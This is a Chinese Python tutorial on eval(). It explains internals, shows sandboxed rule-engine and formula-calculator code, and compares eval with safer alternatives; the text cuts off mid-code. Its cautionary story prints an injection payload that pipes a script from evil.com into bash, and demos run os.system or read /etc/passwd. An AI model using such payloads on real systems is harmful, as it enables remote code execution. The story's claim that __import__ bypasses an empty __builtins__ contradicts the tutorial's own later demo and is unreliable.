Python进阶探索29_eval内置函数

29、Python 教程 - Python中的eval内置函数

前言

在 Python 的世界里,有一个函数既让人爱不释手,又让人闻之色变。它就是 eval()。爱它的人说它是"动态执行的瑞士军刀",一行代码就能把字符串变成可运行的表达式;怕它的人说它是"安全漏洞的代名词",稍有不慎就会让攻击者在你的服务器上为所欲为。

这篇文章,我们就来把 eval() 彻底讲透。从它是什么、为什么存在、内部怎么运行,到企业项目里怎么安全地用、和竞品怎么选、面试怎么答,一文打尽。不管你是刚入门的小白,还是已经写了几年 Python 的老鸟,相信都能从中有所收获。


文章目录

  • [29、Python 教程 - Python中的eval内置函数](#29、Python 教程 - Python中的eval内置函数)
    • 前言
    • [痛点场景:一行 eval 引发的线上事故](#痛点场景:一行 eval 引发的线上事故)
    • [一、eval 是什么](#一、eval 是什么)
      • [1.1 专业解释](#1.1 专业解释)
      • [1.2 大白话解释](#1.2 大白话解释)
      • [1.3 生活案例](#1.3 生活案例)
      • [1.4 最基础的用法示例](#1.4 最基础的用法示例)
    • [二、为什么要用 eval](#二、为什么要用 eval)
      • [2.1 动态性是核心价值](#2.1 动态性是核心价值)
      • [2.2 具体的使用价值](#2.2 具体的使用价值)
      • [2.3 不用 eval 行不行](#2.3 不用 eval 行不行)
    • [三、eval 是怎么演进过来的](#三、eval 是怎么演进过来的)
      • [3.1 从 Lisp 到 Python:动态执行的历史](#3.1 从 Lisp 到 Python:动态执行的历史)
      • [3.2 CPython 内部:eval 的执行流水线](#3.2 CPython 内部:eval 的执行流水线)
      • [3.3 globals 和 locals 的作用机制](#3.3 globals 和 locals 的作用机制)
    • [四、eval 怎么用](#四、eval 怎么用)
      • [4.1 完整语法和参数说明](#4.1 完整语法和参数说明)
      • [4.2 常见用法大全](#4.2 常见用法大全)
      • [4.3 使用注意事项](#4.3 使用注意事项)
    • [五、企业项目中如何使用 eval](#五、企业项目中如何使用 eval)
      • [5.1 场景一:风控规则引擎](#5.1 场景一:风控规则引擎)
      • [5.2 场景二:动态配置解析器](#5.2 场景二:动态配置解析器)
      • [5.3 场景三:动态公式计算器(财务/报表场景)](#5.3 场景三:动态公式计算器(财务/报表场景))
    • 六、竞品对比:eval、exec、ast.literal_eval、simpleeval
      • [6.1 对比总表](#6.1 对比总表)
      • [6.2 逐个详解](#6.2 逐个详解)
      • [6.3 选型决策树](#6.3 选型决策树)
    • 七、安全风险与最佳实践
      • [7.1 常见攻击手段](#7.1 常见攻击手段)
      • [7.2 防御方案:五层安全模型](#7.2 防御方案:五层安全模型)
      • [7.3 终极建议](#7.3 终极建议)
    • 八、面试官高频面试题
      • [面试题 1:eval 和 exec 的区别是什么?](#面试题 1:eval 和 exec 的区别是什么?)
      • [面试题 2:eval 有什么安全风险?如何防范?](#面试题 2:eval 有什么安全风险?如何防范?)
      • [面试题 3:eval 的 globals 和 locals 参数有什么作用?](#面试题 3:eval 的 globals 和 locals 参数有什么作用?)
      • [面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?](#面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?)
      • [面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。](#面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。)
      • [面试题 6:如何安全地让用户输入数学表达式并计算?](#面试题 6:如何安全地让用户输入数学表达式并计算?)
      • [面试题 7:eval 能执行赋值语句吗?为什么?](#面试题 7:eval 能执行赋值语句吗?为什么?)
      • [面试题 8:eval 的性能如何?如何优化?](#面试题 8:eval 的性能如何?如何优化?)
      • [面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?](#面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?)
      • [面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?](#面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?)
    • 九、总结
    • 转载声明

痛点场景:一行 eval 引发的线上事故

先讲一个真实感很强的故事。

某电商平台的后端工程师小李,接到一个需求:运营同学希望能在后台配置"满减规则",比如 订单金额 > 100 and 会员等级 == 'gold' 这样的条件,满足就给优惠。小李觉得这太简单了,把运营配置的规则字符串存到数据库,用的时候拿出来 eval() 一下不就行了?

代码大概长这样:

python 复制代码
# 危险写法,切勿模仿
def check_discount(order, rule_str):
    # rule_str 来自数据库,由运营在后台配置
    return eval(rule_str, {"__builtins__": {}}, order.__dict__)

上线初期一切正常,运营同学夸小李做得好。直到有一天,一位"安全研究员"在后台配置了这样一条规则:

python 复制代码
__import__('os').system('curl http://evil.com/shell.sh | bash')

是的,即使你传了 {"__builtins__": {}},攻击者依然可以通过 __import__ 等手段绕过限制。结果就是服务器被植入了挖矿脚本,CPU 跑满,订单系统大面积超时,故障持续了两个多小时,损失六位数。

小李后来复盘时说了一句话:"我以为加了空的 builtins 就安全了,没想到 eval 的水比我想象的深得多。"

这个故事的痛点非常清晰:

  • 痛点一:动态表达式需求真实存在,硬编码规则根本无法满足灵活的业务变化。
  • 痛点二 :eval() 用起来太方便了,方便到让人忽略它背后的安全深渊。
  • 痛点三:网上很多教程只教"怎么用",不教"怎么安全地用",开发者踩坑后才知道代价。

那么,解决方案是什么?难道因为有风险就彻底不用 eval() 了吗?当然不是。菜刀能切菜也能伤人,关键看你怎么握。这篇文章会给你一套完整的方案:理解原理、掌握安全用法、知道什么时候该用替代品。


一、eval 是什么

1.1 专业解释

根据 Python 官方文档的定义,eval() 函数的签名如下:

python 复制代码
eval(expression, globals=None, locals=None, /)

它接受一个字符串(或 code object)作为 Python 表达式,解析并执行它,然后返回表达式的值。三个参数的含义是:

  • expression:一个 Python 表达式字符串,或者编译后的 code object。
  • globals:全局命名空间,必须是字典对象。如果提供且不含 __builtins__ 键,Python 会自动插入对内置命名空间的引用。
  • locals:局部命名空间,可以是任何映射对象。

关键点在于:eval() 只能执行单个表达式 (expression),不能执行语句(statement)。比如 if、for、def、import 这些语句是不能直接放在 eval() 里的。

1.2 大白话解释

说人话,eval() 就像一个"翻译官"。你给它一句写在字符串里的 Python 代码,它把这句话翻译成真的能跑的代码,执行完把结果还给你。

比如你写 eval("1 + 2"),它不是把 "1 + 2" 当成普通文本,而是真的去算 1 加 2 等于几,然后返回 3。

再打个比方:普通的 Python 代码是你亲自下厨炒菜,而 eval() 是你把菜谱写在纸上交给厨师,厨师照着菜谱做出来端给你。菜谱(字符串)本身不能吃,但厨师(eval)能把它变成菜(执行结果)。

1.3 生活案例

想象你在一家餐厅,菜单上写着"今日特供:厨师自由发挥"。你跟服务员说:"让厨师做个番茄炒蛋。"服务员把你的话传给厨师,厨师真的做了一盘番茄炒蛋端上来。

在这里:

  • 你的话"让厨师做个番茄炒蛋"就是 expression 字符串。
  • 服务员传话的过程就是 eval() 的解析执行过程。
  • 端上来的番茄炒蛋就是返回值。

但如果有个坏人跟服务员说:"让厨师把厨房烧了。"服务员也照做了------这就是 eval() 的安全风险。它不判断你说的话是好是坏,只负责执行。

1.4 最基础的用法示例

python 复制代码
# 基础算术
result = eval("3 * 7 + 1")
print(result)  # 22

# 使用当前作用域的变量
x = 10
y = 20
print(eval("x + y"))  # 30

# 调用函数
print(eval("pow(2, 10)"))  # 1024

# 字符串转列表
str_list = "[1, 2, 3, [4, 5]]"
real_list = eval(str_list)
print(type(real_list))  # <class 'list'>
print(real_list)        # [1, 2, 3, [4, 5]]

# 字符串转字典
str_dict = "{'name': '羽师', 'age': 27}"
real_dict = eval(str_dict)
print(type(real_dict))  # <class 'dict'>
print(real_dict)        # {'name': '羽师', 'age': 27}

二、为什么要用 eval

2.1 动态性是核心价值

编程语言里,"动态执行"是一个非常强大的能力。它让程序不再是写死的固定逻辑,而是可以在运行时根据数据、配置、用户输入来决定执行什么。

eval() 的存在,本质上是 Python 作为动态语言的一种体现。它让你可以:

  • 把逻辑以字符串的形式存储在数据库、配置文件、网络传输中。
  • 在不修改代码、不重新部署的情况下,改变程序的行为。
  • 实现规则引擎、表达式计算器、配置驱动的业务逻辑等高级功能。

2.2 具体的使用价值

价值一:字符串到数据结构的快速转换

在处理接口返回数据、读取配置文件时,经常会遇到"看起来像列表/字典的字符串"。eval() 可以一行代码完成转换:

python 复制代码
# 从某个接口拿到的字符串数据
raw_data = "{'status': 'ok', 'data': [1, 2, 3], 'count': 3}"
parsed = eval(raw_data)
print(parsed['status'])  # ok

当然,生产环境更推荐用 json.loads() 或 ast.literal_eval(),但 eval() 的便捷性是毋庸置疑的。

价值二:动态公式计算

在财务、报表、科学计算等场景,公式经常需要动态配置。比如薪资系统里,绩效奖金的计算公式可能每个季度都变:

python 复制代码
# 公式存储在配置中,可随时修改
bonus_formula = "base_salary * 0.1 + performance_score * 500"

context = {
    "base_salary": 15000,
    "performance_score": 4.5
}

bonus = eval(bonus_formula, {"__builtins__": {}}, context)
print(f"绩效奖金: {bonus} 元")  # 绩效奖金: 3750.0 元

价值三:规则引擎的底层支撑

很多企业级系统(风控、营销、权限)都需要"规则可配置"。运营人员在后台配置条件表达式,系统动态判断是否命中规则。eval() 是实现这类功能最直接的方式(当然生产环境需要加安全沙箱)。

2.3 不用 eval 行不行

当然可以,但代价是你要自己写一个表达式解析器。这涉及词法分析、语法分析、AST 构建、解释执行------等于自己实现一个小型 Python 解释器。对于大多数业务场景来说,这个成本太高了。

所以 eval() 的价值在于:用极低的成本获得强大的动态执行能力。问题只在于,你能不能驾驭它的风险。


三、eval 是怎么演进过来的

3.1 从 Lisp 到 Python:动态执行的历史

"把字符串当代码执行"这个想法,不是 Python 发明的。它最早可以追溯到 Lisp 语言。Lisp 有一个核心哲学:"代码即数据,数据即代码"(Code is Data)。Lisp 的 eval 函数可以追溯到 1958 年,是计算机科学史上最古老的函数之一。

后来,各种动态语言纷纷继承了这个能力:

  • JavaScript 有 eval()
  • Ruby 有 eval()
  • PHP 有 eval()
  • Perl 有 eval()
  • Python 也有 eval()

Python 从 1991 年的 0.9.0 版本开始就有了 eval(),它是 Python 作为动态语言的标志性功能之一。三十多年来,eval() 的核心设计几乎没有变过,但社区对它的安全认知在不断加深。

3.2 CPython 内部:eval 的执行流水线

要真正理解 eval(),得知道它在 CPython 内部到底经历了什么。当你调用 eval("1 + 2") 时,内部的执行流程是这样的:

复制代码
字符串表达式
    ↓
词法分析(Tokenizer):把字符串切成一个个 token
    ↓
语法分析(Parser):把 token 流构建成抽象语法树(AST)
    ↓
编译(Compiler):把 AST 编译成字节码(Bytecode)
    ↓
符号表(Symbol Table):解析变量作用域
    ↓
虚拟机执行(PVM):逐条执行字节码指令
    ↓
返回结果

我们可以用代码来验证这个过程:

python 复制代码
import ast
import dis

expr = "x + y * 2"

# 第一步:解析为 AST
tree = ast.parse(expr, mode='eval')
print("AST 结构:")
print(ast.dump(tree, indent=2))

# 第二步:编译为字节码
code = compile(tree, "<string>", "eval")

# 第三步:查看字节码指令
print("\n字节码指令:")
dis.dis(code)

# 第四步:执行
x, y = 10, 3
result = eval(code)
print(f"\n执行结果: {result}")  # 16

运行输出(部分):

复制代码
AST 结构:
Expression(
  body=BinOp(
    left=Name(id='x', ctx=Load()),
    op=Add(),
    right=BinOp(
      left=Name(id='y', ctx=Load()),
      op=Mult(),
      right=Constant(value=2))))

字节码指令:
  0           0 LOAD_NAME                0 (x)
              2 LOAD_NAME                1 (y)
              4 LOAD_CONST               0 (2)
              6 BINARY_OP                5 (*)
             10 BINARY_OP                0 (+)
             14 RETURN_VALUE

执行结果: 16

可以看到,eval() 内部走的是和正常 Python 代码完全一样的编译执行流水线。这也是为什么它功能如此强大------因为它就是一个完整的 Python 解释器入口。

3.3 globals 和 locals 的作用机制

eval() 的第二个和第三个参数控制着表达式执行时能看到哪些变量。理解这个机制,是安全使用 eval() 的关键。

python 复制代码
# 不指定 globals 和 locals:使用当前作用域
a = 100
print(eval("a + 1"))  # 101

# 指定 globals:表达式只能看到 globals 里的变量
global_ns = {"x": 10, "y": 20}
print(eval("x + y", global_ns))  # 30
# print(eval("a + 1", global_ns))  # NameError: name 'a' is not defined

# 同时指定 globals 和 locals:locals 优先级更高
global_ns = {"x": 10}
local_ns = {"x": 999, "y": 1}
print(eval("x + y", global_ns, local_ns))  # 1000,x 取的是 locals 里的 999

这里有一个极其重要的安全细节:如果你传了 globals 字典但里面没有 __builtins__,Python 会自动把当前的内置命名空间加进去。 这意味着即使你以为限制了全局变量,eval() 里依然能访问 __import__、open、exec 等危险内置函数。

python 复制代码
# 看似安全,实则危险
malicious = "__import__('os').system('echo hacked')"
try:
    eval(malicious, {"x": 1})  # 没有 __builtins__,Python 会自动添加
except Exception as e:
    print(e)
# 输出: hacked(命令被执行了!)

要真正禁用内置函数,必须显式传入空的 __builtins__:

python 复制代码
# 正确禁用内置函数的方式
safe_globals = {"__builtins__": {}}
try:
    eval("__import__('os').system('echo hacked')", safe_globals)
except Exception as e:
    print(f"已拦截: {e}")  # 已拦截: __import__ not defined

但即便如此,也不能说绝对安全------后面安全章节会详细讲沙箱逃逸的手段。


四、eval 怎么用

4.1 完整语法和参数说明

python 复制代码
eval(expression, globals=None, locals=None, /)
参数 类型 是否必填 说明
expression str 或 code object 是 要执行的 Python 表达式
globals dict 或 None 否 全局命名空间,默认使用当前全局作用域
locals mapping 或 None 否 局部命名空间,默认使用当前局部作用域

返回值:表达式执行的结果。

4.2 常见用法大全

用法一:基础表达式计算

python 复制代码
print(eval("2 + 3 * 4"))       # 14
print(eval("max(1, 5, 3)"))    # 5
print(eval("'hello' + ' world'"))  # hello world
print(eval("[1, 2, 3][::-1]")) # [3, 2, 1]

用法二:字符串转列表

python 复制代码
str_list = "[[1, 2], [3, 4], [5, 6]]"
result = eval(str_list)
print(type(result))  # <class 'list'>
print(result)        # [[1, 2], [3, 4], [5, 6]]
print(result[0][1])  # 2

注意和 list() 的区别:list() 是把字符串的每个字符拆成列表元素,而 eval() 是把字符串当 Python 代码解析。

python 复制代码
s = "[1, 2]"
print(eval(s))   # [1, 2] ------ 解析为列表
print(list(s))   # ['[', '1', ',', ' ', '2', ']'] ------ 逐字符拆分

用法三:字符串转字典

python 复制代码
str_dict = "{'name': '羽师', 'skills': ['Python', 'AI', 'DevOps'], 'age': 27}"
result = eval(str_dict)
print(type(result))       # <class 'dict'>
print(result['name'])     # 羽师
print(result['skills'])   # ['Python', 'AI', 'DevOps']

用法四:字符串转元组

python 复制代码
str_tuple = "([1, 2], [3, 4], 'hello')"
result = eval(str_tuple)
print(type(result))  # <class 'tuple'>
print(result)        # ([1, 2], [3, 4], 'hello')

用法五:动态变量访问

python 复制代码
class User:
    def __init__(self, name, age):
        self.name = name
        self.age = age

user = User("羽师", 27)

# 动态获取属性
attr_name = "name"
print(eval(f"user.{attr_name}"))  # 羽师

# 更推荐的方式是 getattr,但 eval 也能做到
print(getattr(user, attr_name))    # 羽师

用法六:配合 globals 和 locals 控制作用域

python 复制代码
# 构建一个安全的计算环境
import math

safe_globals = {
    "__builtins__": {},  # 禁用所有内置函数
    "math": math,        # 只允许 math 模块
    "pi": math.pi,       # 只允许特定常量
}

safe_locals = {
    "x": 10,
    "y": 20,
}

# 安全计算
result = eval("math.sqrt(x**2 + y**2)", safe_globals, safe_locals)
print(result)  # 22.3606797749979

# 尝试访问被禁用的函数会报错
try:
    eval("open('/etc/passwd')", safe_globals, safe_locals)
except NameError as e:
    print(f"安全拦截: {e}")  # 安全拦截: name 'open' is not defined

4.3 使用注意事项

  1. eval 只能执行表达式,不能执行语句
python 复制代码
# 这些会报错
# eval("x = 10")          # SyntaxError: invalid syntax
# eval("if x > 0: pass")  # SyntaxError
# eval("import os")        # SyntaxError

# 表达式可以
eval("x := 10")  # Python 3.8+ 海象运算符是表达式,可以用
print(x)          # 10
  1. eval 的返回值是表达式的值
python 复制代码
result = eval("1 + 1")
print(result)  # 2

# 而 exec 永远返回 None
result_exec = exec("1 + 1")
print(result_exec)  # None
  1. 性能考量:重复执行时先 compile

如果同一个表达式要执行很多次,先编译成 code object 可以显著提升性能:

python 复制代码
import time

expr = "sum(i**2 for i in range(1000))"

# 每次都重新解析编译
start = time.time()
for _ in range(1000):
    eval(expr)
print(f"每次重新解析: {time.time() - start:.3f}s")

# 先编译,再重复执行
code = compile(expr, "<string>", "eval")
start = time.time()
for _ in range(1000):
    eval(code)
print(f"预编译后执行: {time.time() - start:.3f}s")

五、企业项目中如何使用 eval

理论讲完了,来点硬货。在真实的企业项目中,eval() 到底怎么用?下面给出三个典型场景的完整可运行代码。

5.1 场景一:风控规则引擎

这是电商、金融领域最常见的需求。风控策略需要频繁调整,如果每次都改代码、发版,效率太低。用规则引擎把条件表达式配置化,运营在后台就能调整策略。

python 复制代码
# rule_engine.py
import ast
import re
import time
import logging
from typing import Any, Callable, Dict, List, Optional

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)


class RuleEngine:
    """
    企业级风控规则引擎
    - 支持动态加载规则
    - 沙箱隔离执行
    - 超时控制
    - 审计日志
    """

    # 允许在表达式中使用的安全函数白名单
    SAFE_BUILTINS = {
        "len": len,
        "abs": abs,
        "min": min,
        "max": max,
        "sum": sum,
        "round": round,
        "int": int,
        "float": float,
        "str": str,
        "bool": bool,
        "any": any,
        "all": all,
    }

    def __init__(self, timeout: float = 1.0):
        self.rules: Dict[str, Dict[str, Any]] = {}
        self._compiled_cache: Dict[str, Any] = {}
        self.timeout = timeout

    def register_rule(self, rule_id: str, expression: str,
                      description: str = "", enabled: bool = True):
        """注册一条规则"""
        # 安全检查:AST 层面过滤危险节点
        self._validate_expression(expression)

        # 预编译
        code = compile(expression, f"rule_{rule_id}", "eval")

        self.rules[rule_id] = {
            "expression": expression,
            "code": code,
            "description": description,
            "enabled": enabled,
            "created_at": time.time(),
        }
        logger.info(f"规则已注册: {rule_id} - {description}")

    def _validate_expression(self, expression: str):
        """
        AST 层面的安全校验
        禁止出现属性访问(防止 __class__ 等逃逸手段)
        禁止出现调用非白名单函数
        """
        tree = ast.parse(expression, mode="eval")

        for node in ast.walk(tree):
            # 禁止属性访问,如 obj.__class__
            if isinstance(node, ast.Attribute):
                raise ValueError(
                    f"表达式中禁止属性访问: {ast.dump(node)}"
                )
            # 禁止 lambda(可能被用于逃逸)
            if isinstance(node, ast.Lambda):
                raise ValueError("表达式中禁止使用 lambda")
            # 校验函数调用是否在白名单中
            if isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    func_name = node.func.id
                    if func_name not in self.SAFE_BUILTINS:
                        raise ValueError(
                            f"不允许调用函数: {func_name}"
                        )

    def evaluate(self, rule_id: str, context: Dict[str, Any]) -> bool:
        """执行单条规则,返回布尔结果"""
        if rule_id not in self.rules:
            raise KeyError(f"规则不存在: {rule_id}")

        rule = self.rules[rule_id]
        if not rule["enabled"]:
            return False

        # 构建沙箱环境
        sandbox_globals = {
            "__builtins__": self.SAFE_BUILTINS,
        }
        # context 作为局部变量传入
        sandbox_locals = dict(context)

        try:
            result = eval(rule["code"], sandbox_globals, sandbox_locals)
            logger.info(
                f"规则执行: {rule_id} = {result} "
                f"(context keys: {list(context.keys())})"
            )
            return bool(result)
        except Exception as e:
            logger.error(f"规则执行异常 {rule_id}: {e}")
            return False

    def evaluate_all(self, context: Dict[str, Any]) -> Dict[str, bool]:
        """执行所有启用的规则"""
        results = {}
        for rule_id in self.rules:
            if self.rules[rule_id]["enabled"]:
                results[rule_id] = self.evaluate(rule_id, context)
        return results


# ============ 使用示例 ============
if __name__ == "__main__":
    engine = RuleEngine()

    # 注册风控规则(这些表达式通常存储在数据库,由运营后台配置)
    engine.register_rule(
        rule_id="high_amount_risk",
        expression="amount > 10000 and user_level != 'vip'",
        description="大额订单且非VIP用户,触发人工审核",
    )

    engine.register_rule(
        rule_id="new_user_risk",
        expression="register_days < 7 and amount > 5000",
        description="新注册7天内大额消费,触发风控",
    )

    engine.register_rule(
        rule_id="frequency_risk",
        expression="order_count_1h > 10",
        description="1小时内下单超过10次,疑似刷单",
    )

    # 模拟订单数据
    order_context = {
        "amount": 15000,
        "user_level": "normal",
        "register_days": 3,
        "order_count_1h": 12,
        "user_id": "U10086",
    }

    # 执行所有规则
    results = engine.evaluate_all(order_context)
    print("风控规则执行结果:")
    for rule_id, hit in results.items():
        status = "命中" if hit else "未命中"
        print(f"  {rule_id}: {status}")

    # 输出:
    # 风控规则执行结果:
    #   high_amount_risk: 命中
    #   new_user_risk: 命中
    #   frequency_risk: 命中

这个规则引擎做了几层安全防护:

  1. AST 校验:注册规则时就解析 AST,禁止属性访问、lambda、非白名单函数调用。
  2. 沙箱隔离 :执行时只传入白名单内置函数,不暴露 __import__、open 等危险函数。
  3. 预编译缓存:规则只编译一次,重复执行用 code object,性能更好。
  4. 审计日志:每次执行都记录日志,方便追溯。

5.2 场景二:动态配置解析器

很多系统的配置文件里需要支持"变量引用"和"简单计算"。比如配置里写 max_connections = ${cpu_count * 2 + 10},程序启动时动态计算。

python 复制代码
# config_resolver.py
import os
import re
from typing import Any, Dict


class ConfigResolver:
    """
    支持动态表达式的配置解析器
    语法: ${expression}
    表达式中可以引用环境变量、其他配置项、数学函数
    """

    # 匹配 ${...} 模式
    PATTERN = re.compile(r"\$\{([^}]+)\}")

    # 安全的全局环境
    SAFE_GLOBALS = {
        "__builtins__": {
            "abs": abs, "min": min, "max": max,
            "round": round, "len": len, "sum": sum,
            "int": int, "float": float, "str": str,
        },
        "env": dict(os.environ),  # 环境变量只读引用
    }

    def __init__(self, config: Dict[str, Any]):
        self.config = config
        self._resolved: Dict[str, Any] = {}

    def resolve(self, key: str) -> Any:
        """解析单个配置项,支持递归引用"""
        if key in self._resolved:
            return self._resolved[key]

        value = self.config.get(key)
        if value is None:
            return None

        resolved = self._resolve_value(value)
        self._resolved[key] = resolved
        return resolved

    def _resolve_value(self, value: Any) -> Any:
        """递归解析值中的表达式"""
        if isinstance(value, str):
            return self._resolve_expression(value)
        elif isinstance(value, dict):
            return {k: self._resolve_value(v) for k, v in value.items()}
        elif isinstance(value, list):
            return [self._resolve_value(v) for v in value]
        return value

    def _resolve_expression(self, text: str) -> Any:
        """解析字符串中的 ${...} 表达式"""
        def replacer(match):
            expr = match.group(1).strip()
            # 把已解析的配置项作为局部变量
            locals_ctx = dict(self._resolved)
            try:
                result = eval(expr, self.SAFE_GLOBALS, locals_ctx)
                return str(result)
            except Exception as e:
                raise ValueError(f"配置表达式解析失败 '{expr}': {e}")

        # 如果整个字符串就是一个表达式,直接返回原始类型
        full_match = self.PATTERN.fullmatch(text)
        if full_match:
            expr = full_match.group(1).strip()
            locals_ctx = dict(self._resolved)
            return eval(expr, self.SAFE_GLOBALS, locals_ctx)

        # 否则做字符串替换
        return self.PATTERN.sub(replacer, text)

    def resolve_all(self) -> Dict[str, Any]:
        """解析所有配置项"""
        for key in self.config:
            self.resolve(key)
        return dict(self._resolved)


# ============ 使用示例 ============
if __name__ == "__main__":
    # 模拟从 YAML/JSON 读取的配置
    raw_config = {
        "app_name": "我的AI服务",
        "cpu_count": 4,
        "max_connections": "${cpu_count * 2 + 10}",
        "worker_threads": "${cpu_count * 4}",
        "timeout_seconds": 30,
        "database": {
            "host": "localhost",
            "port": 5432,
            "pool_size": "${cpu_count * 2 + 5}",
        },
        "greeting": "欢迎使用 ${app_name},当前连接数上限 ${max_connections}",
    }

    resolver = ConfigResolver(raw_config)
    resolved = resolver.resolve_all()

    import json
    print(json.dumps(resolved, indent=2, ensure_ascii=False))
    # 输出:
    # {
    #   "app_name": "我的AI服务",
    #   "cpu_count": 4,
    #   "max_connections": 18,
    #   "worker_threads": 16,
    #   "timeout_seconds": 30,
    #   "database": {
    #     "host": "localhost",
    #     "port": 5432,
    #     "pool_size": 13
    #   },
    #   "greeting": "欢迎使用 我的AI服务,当前连接数上限 18"
    # }

5.3 场景三:动态公式计算器(财务/报表场景)

在财务系统、报表系统中,用户经常需要自定义计算公式。比如"毛利率 = (收入 - 成本) / 收入 * 100"这样的公式,需要动态计算。

python 复制代码
# formula_calculator.py
import ast
import math
from typing import Any, Dict, List, Optional


class FormulaCalculator:
    """
    安全的动态公式计算器
    - 支持变量引用
    - 支持常用数学函数
    - AST 层面安全校验
    - 公式依赖分析
    """

    ALLOWED_FUNCTIONS = {
        # 数学函数
        "abs": abs, "round": round, "min": min, "max": max,
        "sum": sum, "pow": pow,
        # math 模块函数
        "sqrt": math.sqrt, "log": math.log, "log10": math.log10,
        "sin": math.sin, "cos": math.cos, "tan": math.tan,
        "pi": math.pi, "e": math.e,
        # 类型转换
        "int": int, "float": float,
    }

    def __init__(self):
        self._formulas: Dict[str, str] = {}
        self._compiled: Dict[str, Any] = {}

    def add_formula(self, name: str, expression: str):
        """添加公式"""
        self._validate(expression)
        self._formulas[name] = expression
        self._compiled[name] = compile(expression, f"formula_{name}", "eval")

    def _validate(self, expression: str):
        """AST 安全校验"""
        tree = ast.parse(expression, mode="eval")
        for node in ast.walk(tree):
            if isinstance(node, ast.Attribute):
                raise ValueError(f"禁止属性访问: {ast.dump(node)}")
            if isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    if node.func.id not in self.ALLOWED_FUNCTIONS:
                        raise ValueError(f"不允许的函数: {node.func.id}")
                else:
                    raise ValueError("只允许调用白名单函数")

    def get_dependencies(self, name: str) -> List[str]:
        """分析公式依赖的变量"""
        if name not in self._formulas:
            return []
        tree = ast.parse(self._formulas[name], mode="eval")
        deps = set()
        for node in ast.walk(tree):
            if isinstance(node, ast.Name) and node.id not in self.ALLOWED_FUNCTIONS:
                deps.add(node.id)
        return sorted(deps)

    def calculate(self, name: str, variables: Dict[str, float]) -> float:
        """计算公式"""
        if name not in self._compiled:
            raise KeyError(f"公式不存在: {name}")

        # 检查变量是否齐全
        deps = self.get_dependencies(name)
        missing = [d for d in deps if d not in variables]
        if missing:
            raise ValueError(f"公式 {name} 缺少变量: {missing}")

        sandbox = {
            "__builtins__": {},
            **self.ALLOWED_FUNCTIONS,
        }

        result = eval(self._compiled[name], sandbox, variables)
        return float(result)

    def calculate_all(self, variables: Dict[str, float]) -> Dict[str, float]:
        """计算所有公式"""
        results = {}
        for name in self._formulas:
            try:
                results[name] = self.calculate(name, variables)
            except Exception as e:
                results[name] = None
                print(f"公式 {name} 计算失败: {e}")
        return results


# ============ 使用示例 ============
if __name__ == "__main__":
    calc = FormulaCalculator()

    # 添加财务公式
    calc.add_formula("gross_profit", "revenue - cost")
    calc.add_formula("gross_margin", "(revenue - cost) / revenue * 100")
    calc.add_formula("net_profit", "revenue - cost - tax - operating_expense")
    calc.add_formula("net_margin", "net_profit / revenue * 100")
    calc.add_formula("roi", "(net_profit / investment) * 100")

    # 查看公式依赖
    print("毛利率公式依赖:", calc.get_dependencies("gross_margin"))
    # 输出: 毛利率公式依赖: ['cost', 'revenue']

    # 代入实际数据计算
    financial_data = {
        "revenue": 500000,       # 营业收入
        "cost": 300000,          # 营业成本
        "tax": 25000,            # 税费
        "operating_expense": 50000,  # 运营费用
        "investment": 200000,    # 投资额
    }

    results = calc.calculate_all(financial_data)
    print("\n财务指标计算结果:")
    for name, value in results.items():
        if value is not None:
            print(f"  {name}: {value:.2f}")
    # 输出:
    # 财务指标计算结果:
    #   gross_profit: 200000.00
    #   gross_margin: 40.00
    #   net_profit: 125000.00
    #   net_margin: 25.00
    #   roi: 62.50

这三个场景覆盖了企业项目中 eval() 最常见的用法。核心原则只有一条:永远不要把不可信的输入直接传给 eval,必须在 AST 层面和沙箱层面做双重防护。


六、竞品对比:eval、exec、ast.literal_eval、simpleeval

在 Python 生态里,和 eval() 功能相近的工具不止一个。选对工具,能让你少踩很多坑。下面是四个最常用方案的全面对比。

6.1 对比总表

对比维度 eval() exec() ast.literal_eval() simpleeval(第三方库)
执行类型 单个表达式 任意语句/代码块 仅字面量表达式 受限表达式
返回值 有,返回表达式结果 无,永远返回 None 有,返回解析后的数据 有,返回表达式结果
安全性 低,需自行防护 极低,几乎无法安全使用 高,官方推荐 高,专为安全设计
支持变量 支持,通过 globals/locals 支持 不支持 支持,通过 names 传入
支持函数调用 支持任意函数 支持任意函数 不支持 仅支持白名单函数
性能 高(原生编译执行) 高 中(仅解析字面量) 中(自定义解释器)
适用场景 可信环境下的动态表达式 动态执行代码块(极少用) 字符串转列表/字典/元组 不可信输入的表达式计算
生产推荐度 谨慎使用,必须加防护 不推荐处理外部输入 强烈推荐 推荐

6.2 逐个详解

eval():表达式计算器

eval() 只接受单个表达式,有返回值。适合做"计算"类的动态执行。

python 复制代码
# eval 可以
result = eval("1 + 2 * 3")
print(result)  # 7

# eval 不能执行语句
try:
    eval("x = 10")
except SyntaxError:
    print("eval 不支持赋值语句")

exec():代码执行器

exec() 可以执行任意 Python 代码,包括多行语句、函数定义、类定义,但没有返回值。它更像是一个"迷你 Python 解释器"。

python 复制代码
# exec 可以执行多行代码
code = """
def greet(name):
    return f"Hello, {name}!"

result = greet("羽师")
"""
namespace = {}
exec(code, namespace)
print(namespace["result"])  # Hello, 羽师!

# exec 永远返回 None
print(exec("1 + 1"))  # None

exec() 的安全风险比 eval() 更高,因为它能执行完整的代码逻辑。在生产环境中,除非你完全清楚自己在做什么,否则不要用 exec() 处理任何外部输入。

ast.literal_eval():安全的字面量解析器

这是 Python 官方提供的安全替代方案。它只能解析 Python 字面量(字符串、数字、元组、列表、字典、集合、布尔值、None),不能执行任何代码、函数调用或变量引用。

python 复制代码
import ast

# 安全解析字面量
print(ast.literal_eval("[1, 2, 3]"))        # [1, 2, 3]
print(ast.literal_eval("{'a': 1, 'b': 2}")) # {'a': 1, 'b': 2}
print(ast.literal_eval("(1, 2, 3)"))         # (1, 2, 3)

# 不能执行表达式
try:
    ast.literal_eval("1 + 2")
except (ValueError, SyntaxError) as e:
    print(f"已拦截: {e}")  # 已拦截: malformed node or string

# 不能调用函数
try:
